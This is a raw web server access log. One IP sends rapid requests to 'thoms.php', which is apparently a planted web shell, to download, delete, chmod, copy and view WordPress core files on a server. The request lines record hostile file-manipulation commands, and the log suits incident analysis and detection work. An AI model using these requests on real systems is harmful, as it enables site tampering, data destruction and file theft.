45.135.193.11 - - [11/Sep/2026:23:17:58 -0400] "GET /thoms.php?dl=error-protection.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=error-protection.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:58 -0400] "GET /bestzyx.com.tw/wp-includes/bookmark.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:59 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Ftheme-compat HTTP/1.1" 200 14286 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Ftheme-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:58 -0400] "GET /thoms.php?del=ID3&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=ID3&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:59 -0400] "GET /thoms.php?chmod=default-widgets.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=default-widgets.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:59 -0400] "GET /bestzyx.com.tw/wp-includes/ms-settings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:59 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=global-styles-and-settings.php HTTP/1.1" 200 18469 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=global-styles-and-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:59 -0400] "GET /thoms.php?dl=class-wp-simplepie-file.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-file.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:59 -0400] "GET /thoms.php?del=class-wp-customize-control.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-control.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:59 -0400] "GET /thoms.php?chmod=class-wp-block-processor.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-processor.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:59 -0400] "GET /bestzyx.com.tw/wp-includes/user.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:59 -0400] "GET /thoms.php?chmod=class-wp-http-encoding.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-encoding.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:59 -0400] "GET /bestzyx.com.tw/wp-includes/fonts/ HTTP/1.1" 200 1407 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:00 -0400] "GET /thoms.php?chmod=class-wp-image-editor.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:00 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=robots-template.php HTTP/1.1" 200 13299 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=robots-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:00 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-ajax-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:00 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-pop3.php HTTP/1.1" 200 17847 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-pop3.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:00 -0400] "GET /thoms.php?chmod=ms-load.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=ms-load.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:00 -0400] "GET /bestzyx.com.tw/wp-includes/images/ HTTP/1.1" 200 1901 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:00 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&settings=1 HTTP/1.1" 200 11929 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:00 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11549 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:00 -0400] "GET /thoms.php?dl=post-thumbnail-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59355 "http://163.245.207.76:443/thoms.php?dl=post-thumbnail-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:00 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=functions.php HTTP/1.1" 200 105443 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:00 -0400] "GET /thoms.php?del=style-engine&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?del=style-engine&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:00 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:01 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-connector-registry.php HTTP/1.1" 200 15813 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-connector-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:00 -0400] "GET /thoms.php?del=l10n&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=l10n&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:01 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:01 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:01 -0400] "GET /bestzyx.com.tw/wp-includes/abilities-api/ HTTP/1.1" 200 907 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:01 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffeed-atom.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffeed-atom.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:01 -0400] "GET /thoms.php?dl=class-wp-image-editor.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:01 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-user.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:01 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fcustomize HTTP/1.1" 200 19005 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fcustomize" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:01 -0400] "GET /thoms.php?chmod=class-wp-application-passwords.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-application-passwords.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:01 -0400] "GET /thoms.php?dl=spl-autoload-compat.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=spl-autoload-compat.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:01 -0400] "GET /bestzyx.com.tw/wp-includes/ms-load.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:01 -0400] "GET /bestzyx.com.tw/wp-includes/default-filters.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:01 -0400] "GET /bestzyx.com.tw/wp-includes/rest-api.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:01 -0400] "GET /thoms.php?chmod=class-wp-paused-extensions-storage.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-paused-extensions-storage.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:02 -0400] "GET /bestzyx.com.tw/wp-includes/class-json.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:02 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-widget-factory.php HTTP/1.1" 200 13013 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-widget-factory.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:02 -0400] "GET /thoms.php?del=feed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?del=feed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:02 -0400] "GET /thoms.php?del=ai-client.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=ai-client.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:02 -0400] "GET /thoms.php?del=media.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=media.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:02 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=wp-diff.php HTTP/1.1" 200 12247 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=wp-diff.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:02 -0400] "GET /thoms.php?del=ms-settings.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?del=ms-settings.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:02 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=blocks.php HTTP/1.1" 200 44436 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:02 -0400] "GET /thoms.php?chmod=class-walker-nav-menu.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-walker-nav-menu.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:03 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-session-tokens.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:03 -0400] "GET /thoms.php?chmod=class-wp-http-response.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-response.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:02 -0400] "GET /thoms.php?dl=class-walker-nav-menu.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59331 "http://163.245.207.76:443/thoms.php?dl=class-walker-nav-menu.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:03 -0400] "GET /thoms.php?chmod=class-wp-taxonomy.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-taxonomy.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:03 -0400] "GET /thoms.php?del=class-wp-date-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59311 "http://163.245.207.76:443/thoms.php?del=class-wp-date-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:03 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11900 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:03 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-metadata-lazyloader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:03 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-customize-manager.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-customize-manager.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:03 -0400] "GET /thoms.php?dl=class-wp-url-pattern-prefixer.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-url-pattern-prefixer.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:03 -0400] "GET /thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11545 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:03 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fsitemaps.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fsitemaps.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:03 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php HTTP/1.1" 200 13454 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:03 -0400] "GET /bestzyx.com.tw/wp-includes/version.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:04 -0400] "GET /bestzyx.com.tw/wp-includes/style-engine/ HTTP/1.1" 200 909 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:04 -0400] "GET /thoms.php?chmod=class-wp-rewrite.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-rewrite.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:04 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fhttps-migration.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fhttps-migration.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:04 -0400] "GET /thoms.php?del=view-transitions.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=view-transitions.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:04 -0400] "GET /thoms.php?chmod=l10n.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=l10n.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:04 -0400] "GET /thoms.php?del=class-wp-locale.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59266 "http://163.245.207.76:443/thoms.php?del=class-wp-locale.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:04 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fplugin.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fplugin.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:04 -0400] "GET /thoms.php?chmod=script-loader.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=script-loader.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:05 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-feed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-feed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
